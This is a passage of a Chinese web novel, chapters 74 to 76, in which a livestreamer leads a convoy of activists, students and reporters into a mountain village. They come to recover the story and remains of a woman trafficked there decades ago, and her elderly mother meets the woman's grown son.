“好的,这件事我也会一直跟进——有什么进度,会说给大家听。” 威胁吗? 如果当做是,那就是吧。 莺芝点点头,忽而话锋一转,说起了别的:“我今天开直播,主要是想给大家做个预告。” 果不其然,虽然大家的关注点还都在拐卖上,但莺芝这句预告一出口,不少弹幕都发生了风向的转变,询问起了是什么预告。 “不知道大家还记不记得,在上一次的直播中,我们曾为观众算过一卦。” 莺芝道:“那位观众所求的卦,是他父母的婚姻。” 【记得记得,QAQ是吧?】 【那次活动之后,他好像也再没在群里水过了。】 【等等,为什么突然又说起这个?难道……】 【江花儿,周文妤!大家!!原来是这么回事!!】 【我x他大爷的,他母亲是被拐卖的?】 【我就说他老妈肯定也是被拐的吧!当时愣是没人信我!说我阴谋论!】 …… “是的,就是那位观众。” “我此行,虽然危险,但也从多方面得到了那位母亲的信息。” “她是一位可敬的女性。” “那里没有信号,所以接下来我会采用录播的形式。” “我将会和许多关心她、记得她的人一起,去拼凑出她完整的一生。” “请大家见证。” 第74章 “找场子” 明月高悬。 县乡环山公路上,由十数辆大小不一汽车组成的车队排成一串,匀速有序地行驶着。 居中偏前的一辆房车上,莺芝穿戴齐整,正在崔梦语的“督促”下挑选着发饰。 周宜嘉等人的行动非常快,莺芝的直播结束后没多久,太阳都还没落的时候,充当代表的崔梦语就已经再次登门,亲自和医生等沟通,把莺芝接了出来。 原本她就应承了下午要来给莺芝送衣服,这刚好一趟成了,直接让莺芝去她宿舍那边选。 周宜嘉毕竟年纪大了,晚上还有后续的行动,现在得尽可能地先养精蓄锐,所以此行来接人的只有自告奋勇当司机的崔梦语自己。 彼时王诗蔓也已经醒来,得知莺芝的安排后,坚持要给周宜嘉打个电话。 周宜嘉原本就关心着她的状况,闻言也立刻就答应了请求。 这通电话里,王诗蔓哭得不能自已,直到电话挂断后,两只眼睛都已经不成样子了,却还在向莺芝表达自己不能跟着一起去的遗憾。 她原先、也就是还没被拐的时候,是看过莺芝的直播的。 只不过两人最开始的接触都是在黑暗的环境里,或者她意识不清醒的状态中,所以一直没能看清莺芝的脸。也正是如此,所以在见到莺芝的“真容”后,她才会有点恍惚。 现如今彻底醒了过来,清楚认识到了救助自己的是那位小莺,王诗蔓心中更是百感交集。 千叮咛万嘱咐,要莺芝千万好好保护好自己之后,她才依依不舍地目送莺芝离开。 崔梦语把莺芝带回了宿舍。 她的宿舍就在市区某居民楼,离工作的地方不远,是部门给分配的宿舍。周宜嘉等人此时也都在这里,等待着联系好的各方人员到场汇合。 从先前的计划里,大家就已经知道接下来莺芝要上镜,所以行动小组的各位姐姐阿姨们在崔梦语那儿了解到莺芝平时直播的风格后,齐心协力,给她找来了一套非常有古典韵味的汉服,并且还都贴心地提供了各种自己的饰品。 什么金玉银镯子戒指项链发饰的,堆放到一起,那叫一个琳琅满目。 莺芝想也没想就要拒绝,她觉得太过隆重了,这一趟说到底也是去接周文妤回家,她怎么能在着装上过于招摇? 却没成想,劝她穿上的反而是周宜嘉—— 周宜嘉情绪已然调整了许多,并且也已经换了崭新的行头。旗袍,加厚毛绒披肩,斑白的发丝整齐盘挽,插了把碧色的玉梳做装饰,简单中又带着难以被忽视的气质与涵养。 像曾经书香门第大家的女性,文雅却高贵,精神头十足。 她说:“双双最爱 美了,我们去接双双回来,又是一件高兴事,当然要打扮得漂漂亮亮的,她也会高兴的。” 当事人的母亲都这么说了,莺芝只好应下。 不过别人对这话是怎么想的莺芝并不知道,但崔梦语,显然是极其把莺芝的“漂漂亮亮”放在心上的。 一路上,她就跟忙碌的造型师一样,就根本没停过。 周宜嘉如今也有个七十来岁了,虽然精神一直很不错,保养得也很好,到底是老年人了,出行不便,行动小组特地给她备了房车——作为本次行动主角之一的莺芝,当然也在这辆房车上。 而这一路走来,毛遂自荐充当莺芝随行助理的崔梦语那是实时上心,一会儿给她整衣服,一会儿给她梳头发的,还要挑选比较哪个耳饰发饰更好看。 周宜嘉非但不觉得有哪里不合适,还很配合,非常有心情地跟着挑选给出意见。 大冷的天,被这一老一少当个洋娃娃打扮着,莺芝都有点汗流浃背了。 真的只有她觉得此行的基调是很沉重的吗? 为什么她们都好像是要去郊游一样。 其他车上难道也是这种氛围吗? ——是的,其他车。 此次出行,除了周宜嘉崔梦语等维护妇女权益机构的工作人员外,还有许多其他的同行者。 周文妤的爸爸,周兴学,做过很多年的老师,虽然现在人已经去世,但学生们都还在,并且有不少都回到了本地,为本地建设出力。 在周兴学逝世后,他们也都还和周宜嘉这位师娘保持着联系,逢年过节都会走动。 他们都知道恩师这么多年来心里最大的一根刺是什么,所以平时都有帮忙留意着周双双的下落。 眼下得了周宜嘉的消息,能放下工作调整时间的学生都觉得自己义不容辞,呼朋唤友地赶了过来,要为恩师和恩师的遗孀出一份力。 周宜嘉和周兴学不一样,并不是老师,她早年间在部队做事,是个小干部,他们家当年也是沾了她的缘故,得以在部队的大院儿里住着。 那时看着周双双长大的故人如今去的去,还在的也不被子女允许在大半夜出门颠簸了,但——作为和双双一起长大的他们,却都还正在四五十岁的壮年。 如今有了周双双的消息,仍然有着联系的朋友们之间互相一合计,能过来的都来了,不能来的也都支使了更小的年轻一辈过来。 除此之外,周宜嘉等人还联络了平时有过交集的各路媒体,做报纸的、网络媒体的、写文章做的等等等等,都在其中。 外地的来不及赶来,本地的却都很有劲头,马不停蹄调人抄带上家伙什就集合了,连带着部分并没有接到联络的,在看到莺芝的直播、得知同行们的举动后,也都一个个闻着味儿跟了上来。 大新闻呐,好素材啊,这可是绝佳的第一手资料! 无论他们抱着什么目的来讨论合作的,周宜嘉和莺芝都来者不拒。 越多人关注,越多人在,于他们的目的就越近。 数家媒体,多名学生,十来个故人及后代,再加上她们机构本身的工作人员们…… 除了周宜嘉这位上了年纪的老者,其他基本全都是青壮年人士,且还都带着各自的设备等,组成了这个总数十多辆、从房车到中型汽车再到小型巴士等几乎没有任何两辆是相同的车队。 此趟出行,光看队伍,就已经足够吓人。 在心中捋了捋今天的队伍,以及接下来的流程,莺芝垂着眼,认真思考着还有哪里可以更完善。 崔梦语看着给莺芝刚换上的一对红珠耳坠,满意地点了点头: “可以,很完美!” “不是我说,小莺你就该高调一点,让那些乌七八糟的黑心人一见到你就自惭形秽,让他们认识到,什么是云泥之别、什么是相由心生,更要让他们知道,你不是他们能够高攀得起的月亮——搬着梯子爬一百层楼也够不着的那种!” “……”思路被迫中断,又听了一耳朵胡扯的莺芝默默地看向她。 崔梦语理直气壮:“多少优秀的人都配不上你,他们凭什么打你主意?” 莺芝:“张口就是般配和姻缘……你也想做月老了吗?” “专门管断缘的那种吗?”崔梦语嘻嘻笑道,“像你一样的?” 莺芝:“……” 这天没法聊了。 周宜嘉看她们一静一闹,脸上始终带着慈和的笑。 她这一路上所表现出来的情绪都是如此。 仿佛一位在正校门口等待女儿下学离校的母亲,看到了早一步离校的小班孩子们,嬉笑打闹着从自己面前路过。 柔和,喜悦,期待,慈爱。 市区离山村那个位置还是有相当一段距离的,车队行至一半时,崔梦语接到了个电话,是后边某辆车里的媒体发来的,说想给莺芝做个小专访。 莺芝答应了。 但鉴于一辆车停,大家就都得停的缘故,莺芝没有答应对方“派一个人去你们车上做采访”的建议,而是让崔梦语拿出了她的摄影设备,依照对方提供的问题,简单录了一个采访。 录完给对方的素材后,莺芝又为自己录了一条素材,介绍了一下周宜嘉的身份、背景,经历等,又大概询问了周宜嘉一些问题—— 等后边的录制都完成,她会把这个素材拿去,和其他素材一起,进行拼接合成,组成整期的内容。 月上中天时,车队抵达了目的地。 前后车辆沟通得很好,房车的位置恰好就在路口,给了周宜嘉最大的方便。 莺芝提步下车,再次迈上了熟悉的土地。 ——她清晨时才从这里离开。 如今不过一天的时间,就又一次来到了这里。 而这次,将会和之前截然不同。 “周奶奶。”几名搭伴来的年轻男女从前边的车辆走来,先是尊敬地向周宜嘉打招呼,而后看向莺芝。 “——小莺,是这里下去吗?” 他们年纪都在二十来岁的区间,是周宜嘉老朋友们的孙辈,也是周双双发小朋友们的后代。 都是年轻人,平时没少玩社交平台,有好几个都认识莺芝。当他们知道这次的“团建”有莺芝在、并且她还是主要牵头人的时候,都很兴奋。 一下了车,就巴巴上前来,充当起了联络人,前来和莺芝沟通串联接下来的行动流程。 莺芝点了点头,给了肯定的答复:“是的。” “从这条小路一直走下去,半个小时左右,就到了村子里。” “不过大家要注意,越往里走,信号越差,到了村子里,通讯设备基本都不能用了。” 当中一个男生笑道:“放心吧,我们都发现了——一到这儿信号就不好使了,发个消息都得转半天。” 旁边女孩儿拍了拍自己的背包,嘿嘿一笑:“我们早想到了,带了对讲机,早就想试试这种了——全体都有!拿出你们的对讲机,试一下,无误后各就各位了哈。” “土豆收到!” “地瓜收到!” …… 一片热闹中,年轻人们立刻投身工作,各自散开,去了其他车辆下来的小团队里。 “他们都是热心的孩子,年纪小,爱玩是正常的。”周宜嘉微微笑着,语气中似有怅然,“双双丢了时,远比他们现在还要小……” 莺芝没有应声。 她并不太擅长应对现在这种的情况,说周双双的孩子和他们差不多大?说节哀顺变? 无论说什么,都感觉在火上浇油。 所以她保持了沉默。 周宜嘉却没有惆怅太久,仿佛就只是随口感慨一下而已,很快就止住了话头,望向黑暗中蛇也似地盘踞蜿蜒的小路。 “今晚的天气,很好啊。”她道。 莺芝道:“是的。” 和之前见过的、伸手不见五指的两晚不一样,今天的月亮很亮,亮得能看清大地上的许多东西。 如果昨晚是这样的天,莺芝很难带着王诗蔓一藏藏那么久。 两人就这么站在路口,等待着其余人的准备。 几分钟后,所有车辆都被靠边停在了路的一侧,人也全都聚集了起来,带起设备,在几个年轻人的协通下排好了队形,整齐正待着接下来的行动。 许多架摄像机已经被摄影师架了起来,朝向了莺芝、朝向了周围、朝向了他们自己的记者。 崔梦语也拿起了自己准备的摄影机。 “走吧。”莺芝道。 她迈开脚步,踏上了山道。 “我们现在即将去到的,是周文妤生活了三十一年的地方。” 面对崔梦语的镜头,莺芝仿佛还在直播,徐徐介绍着。 小道并不宽,甚至可以说很窄,也就是普通一人行的小径而已,两个人并肩勉强,三人就走不下了。 此时此刻,人群一字排成长龙,整齐有序地迈上小路。明明不是一家来的,大多也彼此互不认识,却意外地和谐,没有一丁点的混乱。 除了几个带着对讲机的年轻人们偶尔沟通提醒,让大家注意安全外,所有人基本都齐刷刷地保持着安静,聆听着莺芝的话语。 “周文妤,也叫周双双。三十一年前,十八岁,正在读大学的她忽然失踪,而后再无音讯。” 莺芝身后几步,一个五十来岁的男人沉默地推着辆轮椅。 轮椅据说是采用了什么先进的技术,仅一对轮子,就价值不菲,即便是这样的山路,走起来也并不颠簸。 周宜嘉正坐在上边。 他们都安静地听着莺芝讲话。 莺芝嗓音轻轻,如同缓缓的山溪。 “她的人生总共四十九年,三十一年都是在这里。她在这里嫁人、生子,在这里度过了一大半的人生,也在这里离开了她的人生。” “但是直到离开人生,她也没能离开这里。” 莺芝回头看了一眼,已经要进入后半夜了,可周宜嘉的脸上不见丝毫的困倦,精神奕奕。 她心情有些复杂地叹了口气。 “刚刚我们介绍过的这位,就是周文妤、也就是周双双的母亲。” “正像我们之前所说,她已经七十岁了,已经该退休的年纪,如今却仍然活跃在维护女性权益的事业中。” “或许事业已经是孤身一人的她现如今唯一能做的事,也或许,她是想,能够让更多像自己、像自己女儿一样的女性们,能够少一些遗憾。” “——大家已经知道,周文妤在前些天去世,那么,周文妤现在在哪里,这些年又都经历过什么呢?” “马上到达目的地,大家可以亲眼见证。” …… 连声的尖叫打破了山村夜晚的宁静。 狗吠声声。 几个起落间,几乎漆黑一片的村落就彻底醒了过来。 最先推开门的,是距离尖叫声最近,位置上也最接近村口的人家。 “死疯子你叫什么叫,***让不让人睡觉了?!” 一个披着棉衣的男人趿拉着破旧的布鞋,脚步拖沓,骂骂咧咧地开门。 “想死是吗,***老子这就成全你。” “人呢?今天打不死你老子跟你姓,你给……” 脏污不堪、难以入耳的辱骂声在出门后瞬间戛然而止,男人刚从脚上抹下来的鞋子停在了手中,不上不下。 他震惊地看着不知道什么时候出现在在村口这边,乌压压站了一片的人。 月色太好,他甚至能清楚看到,有几个人高马大的壮汉已经超前压了几步。 “你,你们……” 啃啃巴巴的音节只吐出了几个,男人就已经本能的后退了许多,目露惊恐。 他们是谁? 干嘛来的?! 就在此时,一道悦耳的女声响起,男人下意识朝发声人看去,却见一个偏纤细却非常高挑的身影站到了人前来。 “范四。” 那人裹着银白的,长长的绒毛披风,露出的下半部分,是长度快要拖地的素色长裙,金色的花纹刺绣在裙摆上绽开,似金镶玉,富贵华美。 她准确无误地叫出了他的名字—— 范四视线从下到上,落到对方脸上时,连呼吸都直接憋住了。 在耳边鲜红如血的宝石映衬下,她整个人都白得好像在发光,有种近乎妖异的感觉。 而那张怎么看怎么有些熟悉的脸…… 范四又不受控地后退了几步,强撑出的镇定中,脸色极其难看。 “刘小雀……你来做什么?!” “谁是刘小雀?”崔梦语喝道,“她有自己的名字,叫小莺,不叫什么刘小雀!” 范四被她这毫不收着的一嗓子吓得又是一个哆嗦,随后才看到出声的也是个女人。 而先前发出尖叫的那个疯子,正在对方的身边吃东西。 崔梦语注意到他的视线,冷笑道:“她是谁?你刚刚是想要打她吗?” 见到熟悉的人,范四喉头滚了滚,憋出不怎么有气势的一声哼。 疯子—— 就是他们村的疯子啊。 一个早就疯了的女人。 “就是个疯子,大半夜不睡搁这儿乱叫唤,扰人睡觉,不该打吗?” 说话时,他把手里的鞋子丢到地上,伸脚蹬上,原地踩了踩。 疯女人瞄见他丢地上的鞋子,浑身不受控制地一哆嗦,又往崔梦语身边躲了躲,把手里的小面包抱得更紧。 队伍里一个年轻女孩呵呵一笑: “少在那指桑骂槐,姑奶奶读书多,只会比你更懂阴阳学——想骂就直接骂,别装了,没人会以为你有素质。” 范四气结。 莺芝看了在崔梦语身侧畏畏缩缩的疯女人: “她是守村人。” 几乎每个村子都会有守村人。 守村人,基本都是智力存在缺陷、或身体及行为上存在某种不可逆损伤的人,但成为守村人的原因和经历却不一定。 听到守村人这个词,众人也都明白了。 他们来的时候很安静,虽然人多,但没什么动静。 连村子里的狗都还没开始叫,结果刚一进村,就遇见了这么个人,大晚上还在外边游荡,见到他们的时候立刻就大叫了起来。 ——难怪这么晚还不睡,还在外游荡,如此异于常人的表现,在知道是“守村人”之后,都可以得到解释了。 被他们动静吵醒的不止范四一家。 这边几句话还没说完,范四身后,另一个男人也披着衣服走了出来,见到外边的情况,一嗓子就叫了出来。 旁边,几户临近的人家稍慢了一步,但也都渐次开了门查看情况。 于是乎,很快,几乎大半个村子的人户都派了人出来,临时拉起了联盟,站到了大半夜造访村子的不速之客面前。 村长万德全面有疲惫之色,站到了最前方。 他昨晚就几乎一夜没睡,今天白天又要开会、迎接各种盘问,身体已经快要垮掉了。 可作为村长,他又不能不出面。 开口时,态度依旧强硬:“你们是什么人,来做什么的?” 他的视线落在人群当中、被簇拥在最中间位置,和自己相对——占据着对方“头领”位置的莺芝身上,有短暂的困惑和震惊闪过。 这么大一群人……她是头儿? 这才多长时间不见,她就带了这么大一帮子人来找场子? “警察今天白天才走,跟你们我们没什么好说的。” 天寒地冻,冷风吹过,万德全咳嗽了几声,继续道: “如果你们是来砸场子,欺负我们这些老弱病残的,我们也会报警。” “打你们?” 崔梦语完全不愧炮仗性子,说起话来毫不留情:“我们还嫌掉价呢,噫……脏手!” 万德全被她这么个小辈、还是小女生怼了,脸色顿时也难看起来。 但—— 他身边的人还没动一动,对面的人就纷纷开始撸袖子了……恶霸一样! 忽然,莺芝向前了小半步。 同一时间,在村民们不可置信的目光中,一帮恶霸齐刷刷停止了动作,众星拱月般,等她说话。 莺芝目光平静,看向万德全。 “我找万措。” 第75章 你很像她 “找阿措?” 不止万德全,其余一些站的比较近,听到他们对话的村民也都露出了愕然的神情。 万德全带着疑惑,审视地再度仔细看向莺芝。 “你认识阿措?” ……她竟然和阿措认识? “是,我找他。” 面前这个和环境以及周围人都格格不入的女人,说这话的时候也是一副面无表情的样子,不知道该说是冷淡,还是有点高高在上……总之,感觉没有一点活人气儿。 虽然没有表现得盛气凌人,却莫名地显得盛 气凌人。 跟之前匆匆一瞥的那个,还有丁老头陈三他们嘴里的那个“小哑巴贱人”完全不一样。 这……真的是那个拼尽一切从他们这里逃出去的女人吗? 饶是知道事实是什么,万德全此时也不免心生疑虑,惊疑不定。 她说她认识阿措,底气十足,怎么听都不像说谎。 如果她真的认识阿措…… 那是来到村子里之后认识的,还是之前认识的? 根据丁老头他们的描述,这女的被弄到村里满打满算也没三天,一开始在他们家关着,后来去了陈三家,再后来就是和陈三家那个赔钱的一起跑了—— 她有机会认识阿措吗? 要是来村子里之前就认识的…… 万德全不着痕迹地低下头,狠狠瞪了一眼人群里脸现惊慌的丁老头。 什么人都敢往村子里带?! 丁老头本身就在震惊中,忽然被村长这么瞅了一眼,更是有苦难言。 他们老万家出了个金蛋,在大城市里成了大人物,是不能惹不假……但是谁也没想到,随便买一个人,都能买到这宝贝金蛋的朋友啊? 要是早知道她是万措的朋友,他们说什么也不能要啊? 倒不是说大城市来的女人他们不敢要,而是得给万措这个面子。 毕竟那可是村子里这么些年来出的唯一一只金凤凰,也是唯一一朵洁白不染、没有被任何泥点子溅上的花。 他之前对这些事不怎么掺和,不闻不问,但万一要是因为绑了他朋友……生气了呢? 那岂不是坏了! 丁老三真的是就差原地蹲下高举双手向万德全表示自己的诚意了。 他们这边眼神传讯,暗流涌动,莺芝等不到回应,也不催促,略一偏头,对周宜嘉道: “没有关系,周老师,我知道双双这些年的居所在哪里,我们自行前去吧。” 周宜嘉没有异议:“好。” 莺芝提步,推着周宜嘉的那个男人当即便也跟上,其余人等哗啦啦立刻也行动了起来,举着摄像机的各位还都把镜头朝着村子里库库一顿狂拍。 素材,收集,多收集! 万德全身边,一个男青年气不过:“你们——” “我们只是来找朋友玩,一不是欺负你们恶人联盟,二不是为民除害,你们不愿意帮我们叫人,那我们自己去——明明我没什么都没做,只是大路朝天各走一边,这也不行?” 莺芝队伍里,先前开口讥讽范四的女生又一声呵呵,翻了个白眼。 青年一口气噎在喉咙里,上也不是下也不是,脸憋得涨红。 女生已经跟着队伍一起,径直越过他们这些人,朝着村子里的某处,扬长而去了。 “村长,您看他们——” “看什么看。”万德全冷着一张脸,“去个腿脚快的,知会德辉一声,能不让阿措出面就尽量别让阿措出面,另外去把阿措小妹也叫出来。” 有人忙应:“好,我这就去!” 万德全盯着莺芝等人,眼睛眯了眯:“——再给我好好问问德辉,还想不想村子好好过日子了。” “要是想,就让他把阿措娘给藏好,不管阿措怎么闹,也不能给这些人找见。” “知道了!” “阿措娘?”跑腿的小伙子飞快离开,剩下的村民问出了疑惑。 这跟阿措娘又有什么关系? 虽然阿措娘确实也不清白,但问题是,现在人都已经死了,还能翻出什么花来? 万德辉剧烈地咳嗽了起来。 “……唉,这些人啊,估计就是为了她来的。” …… 人多到底势众。 一路上,莺芝等人虽然先后碰到了好几个从家里出来查看情况的村民,但却无一例外,没人敢拦。 所有人在见到他们之后的反应,都是从惊讶到骇然,最后变成惊疑不定。 尤其是几乎大多出人都能在短暂的震惊后准确地认出,这帮子进村匪徒一样的人里,最当中那个,赫然是之前被他们抓捕过的那个丫头—— 一种名为恐惧的情绪,无声无息地在村子中蔓延着。 既想围观,又担忧恐害怕,最终只能退避三舍,不敢直接面对,都远远地缀在了后边。 莺芝带队,走得并不快。 她不急不慢地,还跟队伍里带着的那个“守村人”聊了几句。 虽然是她单方面说,守村人只会吱吱啊啊,吃自己的东西。 不少媒体人心有所触,也都把这一幕拍了下来,打算之后可以出一篇以“守村人”为核心的稿子。 又走出一段距离,一扇和村里其他院落相比、相当气派的大门出现在众人面前。 瓦数相当大的一盏灯泡高悬门头上,莺芝抬眼看去,大门上方,山水画为底的瓷砖上,五个大字工整地排布着。 ——【家和万事兴】 对开的大门上,贴着的年画门神早已褪色破烂,两侧的对联也是差不多的境遇,依稀能辨认的字迹,让人不费什么力气就可以拼凑出当年新贴上时的样貌。 【福旺财旺运气旺】 【家兴人兴事业兴】 之前,她来去俱是匆匆,根本没有时间多加打量。 如今看来,这门头题字瓷砖,再加旁边的对联,八九不离十,就是万措的手笔了。 而这副对联看上去,已经有好些年岁没有换过了,怎么也得有个两三年了。 怕是从他不再回来,这里就不再有人在意了。 只有他,能留意到、能决定这个家里这些方面的事,也只有他的决定,才不会遭到家中那位大主宰的反对和质疑。 莺芝打量着万家时,周宜嘉崔梦语等人也在看。 崔梦语神色复杂,周宜嘉则是仔仔细细,不愿错过一丝一毫地看着目所能及的一切。 似乎能够看到,一个沉默着,在这里奔波忙碌的身影。 莺芝没有太多感慨,看着紧闭的大门,没有敲门,只淡淡启唇。 “万措。” 她声音落下后不久,一道不耐烦的男声就响了起来。 “干什么?滚,我家不待客!” 不是万措。 闻声,推着周宜嘉的男人神色一沉。 他身边,一个挎着小包手拿手持麦的男生立刻就也大声回了过去:“你是万措吗?不是万措就别说话,我们找万措,不找阿猫阿狗。” “我呸!管你们找谁,管你们是谁,都滚,我家不欢迎你们!!” 周宜嘉的思绪也被这粗粝不雅的叫骂给打断,她双目微凝,花白的眉皱叠起来。 莺芝却没理会一门之隔里边的人,她视线从大门上挪开,移向旁侧—— 落在了那个在明亮月光下,依旧笼罩在黑暗里的狭窄夹道。 “——万措。” 这下,不止门内的人,连带缀在旁边从各种角度试图围观的村民,还有和莺芝站在一边儿的同行者们,所有人都怔住了。 她这是……什么意思? 一声几不可闻的叹息声响起,随后,是无奈中透着些释然的话语。 “……果然,还是瞒不过你。” 众多视线的落点处,缓而均匀的脚步声自夹道中传来,与之一起出现在众人面前的,是一个身姿笔挺,气质相当斯文内敛的年轻男人。 万措走出夹道,视线和人群最前的莺芝对上,微微恍惚了一瞬。 有那么刹那间,他差点以为自己不是在村子里、而是仍然在首都。 在那样热闹喧嚣、那样正常且繁华的社会里相遇相会。 而随着万措的出现,现场的气氛也骤然发生了改变。 大门轰地被打开,一个单边腿吊起,拄着拐杖的黑胖男人沉着一张脸,又惊又怒地走出来:“你怎么回来了?不是让你去——……” 他自觉失言,立刻就打住了话头。 万措却根本没有理会对方,他又叹了口气,对莺芝苦笑着摊了摊手: “我以为,村里是出什么事了呢,还想着观察一下,没想到,是你去而复返了。” “先前……我就知道,你会平安的。” 他的视线掠过莺芝身边的一干人等,掠过那些专业的摄像设备、掠过各 样的人,有复杂一闪而过,最终变为慨然,“果然是你……只能是你。” 因为是她,所以能带来这样多的人,做出这样意想不到的事,弄出这样大的场面。 她是站在万万人瞩目之中的人,是属于喧闹世间的人,天生不属于这里,这里的人,也永远不会为她带去什么麻烦。 他们本就不是一个阶层的人。 他们自以为的麻烦,自以为的天衣无缝,于人家而言,只不过是挥挥手就能找出漏洞、就能解决的小事罢了。 要怪,也只能怪他们自己不长眼,惹到了不该惹的人。 “看来,你要做的事这次可以完美解决了。” 万措淡笑着,完全看不出有什么异样的情绪,闲庭信步般走回自家的大门,对莺芝道:“要进来坐坐吗?” “你个不孝子——你!你之前就见过她了?!……你就什么都不说?” 单腿拄拐的黑胖男人、也就是万德辉,似乎从万措的话里想到了什么,顿时惊怒交加,却又一次生生止住话头,转而斥道: “你还看得见我在这儿吗?——知道他们是什么人吗,是来做什么的吗?你还要让他们进家?!” “你到底想干什么?非要赌气吗?我是你老子,是你爹!!” 一连串的质疑、诘问中。 莺芝站在原地,平静地看着万措。 万措也带着从容的笑,静静地看着她。 自始至终,他都没多看那个自称是他“老子”的人一眼。 只当对方不存在。 忽然,有谁轻轻的耳语传来,让莺芝和万措一齐转了视线。 “……咦?这么说,他们俩是父子?我去,一点也看不出来啊……” 说话的人,是先前和万德辉隔门互呛的男生。 没想到自己这一句嘀咕被当事人听了个正着,他“呃”了一声,有些讷讷。 那,那确实不像啊…… 万德全,抛开他黑黄的肤色、发福胖壮的肚子、稀疏枯燥的头发、细小如鼠的眼睛、粗糟似大蒜的鼻、矮短的身材……以及怎么看怎么猥琐恶心的气质等等等等不谈—— 哪怕只说他满口脏污、极其粗鄙的态度言语,十分不详的素质…… 和这个浓眉星目,鼻梁高挺、身高腿长……言谈举止间让人很是舒适,进退有度、彬彬有礼的年轻人,也完全没有一丁一点的相像之处啊! 任谁来看,也不会觉得他们是父子吧? “的确有很多人说过我不像父亲。” 万措微微怔愣,旋即似有莞尔。 在这种情景种再次见到莺芝后,他像是已经做出了什么决定,心情很是松快。 此时听到这个看上去大概是个记者的小年轻这么说,也饶有兴味地回了这种非常不合时宜的调侃话。 “不过我也不像母亲,不知道是随了谁更多一些。” “不,孩子……” 温和、慈祥的声音响起,万措疑惑看去,就见一位头发银白、华贵优雅的老夫人正怔怔地看着他。 她似乎想要上前,又踌躇停住,眼瞳中不知何时,已然蓄了泪水。 “……你很像她。” 第76章 她 周宜嘉的忽然开口,让万措感到非常疑惑。 他不明就里地稍稍打量了一下对方,发现这位长者无论是外表还是气质,都不像是会胡言乱语的人,心中的困惑越发大了起来。 孩子,应该是叫他没错吧?毕竟是看着他说的。 但是……他和谁像? 他的父亲?母亲? 应该不是。 抛开他和父母真的一点都不像以外,就只说交情——自己的父亲母亲,怎么也不是能接触到这位前辈圈层的人。 还是说,这位学者一样的老人家,难道是认识他? 可是也不对啊,他对对方明明没有一点点印象。像这样的人,他只要接触过,就绝不会忘记的。 思及此,万措脸上笑容未落,始终带着那种礼貌但有点疏离的微笑,保持着绝不失礼的态度,朝着周宜嘉略一点头。 但他并没有贸然接话,只是转而看向了莺芝,试图从她这里得到一些解答。 “小莺,这位前辈是…?” 莺芝早在周宜嘉忽然发声时就也看了过去。 她看着周宜嘉以一种近乎于怀恋的目光直直地望着万措,又在本能地想要靠近接近时被莫名的怯然拦下。 她知道,在场的许多其他知道内情的人也知道—— 周宜嘉虽然是在对万措说话,但真正看着的,却是那个万措有幸得了几分相似的根源、那个与今相隔了三十余年光阴的姑娘。 许多个年岁,无数个日夜的无眠辗转,多少春风冬雪交错的奔波绝望,都早已深深烙进了这位年逾七十的母亲心里。 如今,乍一见到和记忆深处那抹影子有一点相像的人,这多年来得不到释放的思念和苦楚,便就都不受控制地翻涌而出—— 那些情绪太浓烈,浓烈到仅仅在一个照面里,便占据了这位母亲全部的心神。 她太想念她了。 想念到,哪怕只是一个有几分相像的人,都足以让她恍惚,又驻足情怯。 但相似终究也只是相似。 果不其然,就在万措征求般递向莺芝时,蒙盖在周宜嘉双眼上的泪雾就像是被什么骤然吹去,清明了许多。 或许是因为万措所表现出来的陌生,又或许是因为旁边万德辉喋喋不休的叫骂,总之,她忽然就清楚地意识到了,眼前人并非不是故人。 想到了多个小时前就已经得到了,这三十余年来飘忽尘埃落定的结果。 周宜嘉回过了神。 清楚地把莺芝曾说过的话和眼前的情景对上了号,也明明白白地察觉到了此二人,与她心心念念之人的关联。 就是那么个转瞬的时间,周宜嘉情绪就落了回去。 她看着面前这差异巨大的一对父子,理智渐渐复归,而将她眼底哀痛给遮盖住的,是些许摇摇飘晃的思念,以及更加浅层的、不加掩饰的厌恶。 万措对别人的态度向来敏感,察言观色的素质在向上爬的这段人生里,早已经深入骨髓,成为本能。 此时,他甚至比任何人都要快地察觉到了周宜嘉那堪称突然的情绪变化,以及对方透露出来的零星嫌恶,他有些愕然,更加地摸不着头脑。 这位看起来很有地位和涵养的老者到底是什么情况……刚刚不是还好好的,还上来搭话来着?那种心疼,怜爱,回忆,都做不了假。 怎么忽然又变了一个样? 莺芝也不给他们做什么彼此之间的介绍,强行把话题扯回刚刚,径直道: “进去就不进去了,你也看到了,此行我们人多,不太方便。” 她这么生硬地转话题,摆明了一时半会儿地不会就刚才的一幕多说,万措只能先把困惑按下不提。 他又看了看莺芝身边一大群的人,不得不承认,确实挺多的,他家里也的确坐不下。 “……也好。” 万措也配合地撇开了话题: “不过我刚才听你说要找我,是有什么事吗?” “有。” 莺芝道:“昨晚在这里,我和你说,记得看我直播。” 万措一怔:“是,我记得……但我现在在家里,没有观看直播的条件。” “我知道。所以,我来上门了。” 不给万措仔细回味揣测她这话的意思,莺芝继续开口,却是询问:“你找到你的母亲了吗?” 这话题跳跃太快,问的也太直白,万措一僵,神色有些不大自然。 他觑向周围的人群,“你不是来——” 解决跟那个女生有关的事的吗? 怎么忽然问起了自己的母亲? 万德辉也呆了,旋即不可置信地朝万措发出质问:“……你还把这种事对外说了?你个不肖子,是想要气死我吗?家丑不可外扬的道理你不知道吗?非要让所有人都来看咱们笑……” “——够了,没人要看你们父子之间的闹剧。” 周宜嘉先前从轮椅上离开,一直负责推着轮椅的那个中年男人此时也得以暂时卸下职责,走到了人前。 他说话时颇具威严,一开口,旁边几个年轻人就浑身一震,显然是已经成为了本能反应。 “还好师父现在不是在训咱们……” “嘘,专心听师父说话……!” “——是不是家丑,什么才是家丑,恐怕不是你一个人说了算的。少说一点废话吧。” 如果说,周宜嘉面对万措时只是露出了一些嫌恶,那么此时此刻,这个中年男人所展现出来的,就是直接摆在了明面上的 痛恨。 他神色极其不善地盯着万措父子,直截了当:“——她在哪儿?” 就算再迟钝的人,前有莺芝的问题,后有这人的态度,结合上下,也已经能猜测到他们到底是在说什么。 何况万措并不迟钝。 “你们这次来,为的是我母亲?” “是。”莺芝道,“我说过,我欠你一卦。一个有关你父母的卦,所以来见你母亲了。” 万措默然了片刻,见没有人反驳莺芝的话——他们所有人,都似乎没有阻止的意思,所有的所有人,都在等待他的答案。 他们……都是来找母亲的? 万措难得有些失神。 如果说这么多人联合出行,大半夜也要造访村子,是为了村子里那些事来的,他完全不觉得意外。 可…… 他的母亲,何德何能,人都已经离去了,竟还能引来这么多人的关注? 他怔了须臾,开口应声:“……找到了。” “下午时,我在山上找到了她。” 万措可以肯定,绝对不是他的错觉,他这句话一出口,有好多道加诸在自己身上的视线都发生了变化。 或炽热,或期盼,或喜悦。 不知道为什么,万措忽然有点口干。 